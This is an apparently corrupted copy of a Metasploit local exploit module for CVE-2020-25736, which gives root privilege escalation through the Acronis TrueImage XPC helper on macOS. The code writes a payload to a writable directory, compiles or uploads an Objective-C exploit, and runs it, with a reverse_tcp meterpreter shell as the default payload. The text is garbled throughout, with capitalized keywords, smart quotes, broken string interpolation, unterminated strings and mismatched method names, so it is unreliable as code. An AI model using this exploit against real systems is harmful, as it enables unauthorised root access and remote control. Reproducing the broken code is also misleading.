##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
Include Msf.:Post:File
Include Msf.:Post:Common
Include Msf.:Post:Process
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize (info = ).
super(
update_info(
info,
Name> => Acronis TrueImage XPC Privilege Eescalation’
‘Description’ => %q{
Acronis TrueImage 2019 updates 1 through 221 update 1
Privilege escalation is possible. The `com.acronis.trueimagehelper`
Helper Tool does not validate clients that they are connected.
This allows clients to perform functions that are provided by the server.
By the helper tool that grants root privileges.
},
‘License’ => MSF_LICENSE,
‘Author’ => [
‘Csaba Fitzl’, # @theevilbit – Vulnerability Discovery
“Shelby Pace” # Metasploit Module, and Objective-c Code
],
‘Platform’ => [ ‘osx’ ],
‘Arch’ => [ ARCH_X64 ],
‘SessionTypes’ => [ ‘shell’, ‘meterpreter’ ],
‘Targets’ => [[ ‘Auto’, {} ]],
‘Privileged’ => true,
‘References’ => [
[ ‘CVE’, ‘2020-25736’ ],
[ ‘URL’, ‘https://kb.acronis.com/content/68061’ ],
[ ‘URL’, ‘https://attackerkb.com/topics/a1Yrvagxt5/cve-2020-25736’ ]
],
‘DefaultOptions’ => {
‘PAYLOAD’ => ‘osx/x64/meterpreter/reverse_tcp’,
‘WfsDelay’ => 15
},
‘DisclosureDate’ => ‘2020-11-11’,
‘DefaultTarget’ => 0,
‘Notes’ => {
‘Stability’ => [ CRASH_SAFE ],
‘Reliability’ => [ REPEATABLE_SESSION ],
‘SideEffects’ => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
register_options([
OptString.new(‘WRITABLE_DIR’, [ true, ‘Writable directory to write the payload to’, ‘/tmp’ ]),
OptString.new(‘SHELL’, [ true, ‘Shell to use for executing payload’, ‘/bin/zsh’ ]),
OptEnum.new(‘COMPILE’, [ true, ‘Compile exploit on target’, ‘Auto’, [ ‘Auto’, ‘True’, ‘False’ ] ])
])
End
Def tmp_dir
datastore[‘WRITABLE_DIR’].to_s
End
def sys_shell
datastore[‘SHELL’].to_s
End
Def compile
datastore[‘COMPILE’]
End
Def compile_on_target
Return false, if compile == “False”
If compile == “Auto”
ret = cmd_exec(‘xcode-select -p’)
Return false for ret.include (‘error: unable’)
End
True
End
def exp_file_name
@exp_file_name ||= Rex::Text.rand_text_alpha(5..10)
End
def check
helper_location = ‘/Library/PrivilegedHelperTools’
helper_svc_names = [ ‘com.acronis.trueimagehelper’, ‘com.acronis.helpertool’ ]
plist = ‘/Applications/Acronis True Image.app/Contents/Info.plist’
unless helper_svc_names.any? { |svc_name| file? (“#helper_location/#svc_name”) }
Return CheckCode:
End
return CheckCode::Detected(‘Service found, but cannot determine version via plist’) unless file? (plist)
plutil_cmd = ‘plutil-extract CFBundleVersion plist ‘”}
build_no = cmd_exec(plutil_cmd)
return CheckCode::Detected(‘Could not retrieve build number from plist’) if build_no.blank?
build_no = build_no.to_i
vprint_status (“Found build #build_no”)
return CheckCode::Appears(‘Vulnerable build found’) if build_no > 14170 && build_no < 33610
CheckCode::Safe(‘Acronis version found is not vulnerable’)
End
def exploit
payload_name = Rex::Text.rand_text_alpha(7)
@payload_path = “#tmp_dir/#payload_name”
print_status(“Attempting to write payload at #@payload_path”)
unless upload_and_chmodx(@payload_path, generate_payload_exe)
fail_with(Failure::BadConfig, ‘Failed to write payload. You might consider changing the WRITABLE_DIR option.
End
vprint_good(“Successfully wrote payload at #@payload_path”)
@pid = get_valid_pid
exp_bin_path = “#tmp_dir/#exp_file_name”
If compile_on_target
exp_src = “#exp_file_name.m”
exp_path = “#tmp_dir/#exp_src”
compile_cmd = ‘gcc-framework Foundation #exp_path #exp_bin_path
Write_file (exp_path), objective_c_code
fail_with(Failure::BadConfig, ‘Failed to write Objective-C exploit to disk. WRITABLE_DIR might need to be modified’
End
register_files_for_cleanup(@payload_path, exp_path, exp_bin_path)
ret = cmd_exec(compile_cmd)
fail_with(Failure::UnexpectedReply, “Failed to compile #exp_src”) unless ret.blank?
print_status(“Successfully compiled #exp_src…Now executing payload”)
Other
print_status(“Using pre-compiled exploit #exp_bin_path”)
compiled_exploit = compiled_exp
unless upload_and_chmodx(exp_bin_path, compiled_exploit)
fail_with(Failure::BadConfig, ‘Failed to write compiled exploit. You might consider changing the WRITABLE_DIR option.
End
register_files_for_cleanup(exp_bin_path, @payload_path)
End
cmd_exec(exp_bin_path)
End
Def goal_c_code
file_contents = exploit_data(‘CVE-2020-25736’, ‘acronis-exp.erb’)
ERB.new(file_contents).result(binding)
rescue Errno::ENOENT
fail_with(Failure::NotFound, ‘ERB payload file not found’)
End
Def compiled_exp
compiled = exploit_data(‘CVE-2020-25736’, ‘acronis-exp.macho’)
compiled.gsub! (‘/tmp/payload’, @payload_path)
compiled.gsub! (‘/bin/zsh’, sys_shell)
compiled.gsub! (“xEFxBExADxDE”.force_encoding(‘ASCII-8BIT’), [@pid.to_i].pack(‘V’))
Compilation
End
def get_valid_pid
procs = get_processes
Return ‘1″ if procs.empty
len = procs.length
rand_proc = procs[rand(1…len)]
return ‘1’ if rand_proc[‘pid’].to_s.blank?
rand_proc[‘pid’].to_s
End
End